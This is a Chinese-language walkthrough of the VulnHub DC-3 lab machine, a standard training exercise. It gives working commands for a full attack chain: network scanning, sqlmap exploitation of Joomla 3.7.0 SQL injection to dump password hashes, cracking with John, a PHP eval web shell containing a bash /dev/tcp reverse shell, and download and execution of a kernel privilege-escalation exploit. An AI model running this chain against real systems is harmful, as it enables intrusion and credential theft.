靶机地址
https://www.vulnhub.com/entry/dc-32,312/
打开靶机,设置为同一种nat模式
kali 信息收集主机发现
arp-scan -l
nmap扫描目标ip 192.168.1.132
nmap -sS -Pn -A -n -p- 192.168.2.129
访问网址
工具dirb爆破目录
dirb 192.168.2.129
下载joomscan 扫描joomscan cms发现 版本号为3.7.0
apt install joomscan
joomscan --url http://192.168.2.129
使用工具searchsploit 检查的joomla 3.7.0
“searchsploit”是一个用于Exploit-DB的命令行搜索工具,可以帮助我们查找渗透模块。
Exploit-DB是一个漏洞库,Kali Linux中保存了一个该漏洞库的拷贝,利用上面提到的命令就可以查找需要的渗透模块,它将搜索所有的漏洞和shellcode而且该漏洞库是保存在本地的,在没有网络的情况下也可以使用。
基本搜索方法就是searchsploit+可能包含漏洞的软件/系统等等,对应回显存在的漏洞和用于渗透的脚本。
发现sql注入,查看3.7.0漏洞信息,发现有payload
searchsploit -x php/webapps/42033.txt
sqlmap攻击
sqlmap -u "http://192.168.2.129/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
查到当前数据库名joomladb
sqlmap -u "http://192.168.2.129/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --current-db -p list[fullordering]
查询表
sqlmap -u "http://192.168.2.129/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D 'joomladb' --tables -p list[fullordering]
查询#_user字段
sqlmap -u "http://192.168.2.129/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D 'joomladb' -T '#_users' --columns -p list[fullordering]
查询#_user 内容
sqlmap -u "http://192.168.2.129/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D 'joomladb' -T '#__users' --columns -p list[fullordering]
查询用户密码
sqlmap -u "http://192.168.2.129/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D 'joomladb' -T '#__users' -C 'username,password' --dump --columns -p list[fullordering]
保存密码 john 解密
john pw.txt
John the Ripper是一个快速的密码破解工具,号称十大黑客工具之一。用于在已知密文的情况下尝试破解出明文,支持目前大多数的加密算法,如DES、MD4、MD5等。
John the Ripper支持多种不同类型的系统架构,包括Unix、Linux、Windows、DOS模式、BeOS和OpenVMS,主要目的是破解不够牢固的Unix/Linux系统密码。除了在各种Unix系统上最常见的几种密码哈希类型之外,它还支持Windows LM散列,以及社区增强版本中的许多其他哈希和密码。它是一款开源软件。
登录网站后写入一句话木马
<?php @eval($_POST['pass']);
system("bash -c 'bash -i >& /dev/tcp/192.168.2.130/1234 0>&1' ");
?>
写入保存后访问网址
http://192.168.2.129/templates/beez3/index.php
查看系统版本漏洞信息 searchploit Ubuntu
攻击机中下载攻击脚本
链接:https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
开启攻击的下载服务
python -m http.server 80 #python3开启服务器
python -m SimpleHTTPServer 80 #python2开启服务器
靶机中
wget http://192.168.1.162:8000/39772.zip
unzip 39772.zip
ca 39772
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
./compile.sh
./doubleput
参考链接
https://blog.csdn.net/qq_61237064/article/details/123546254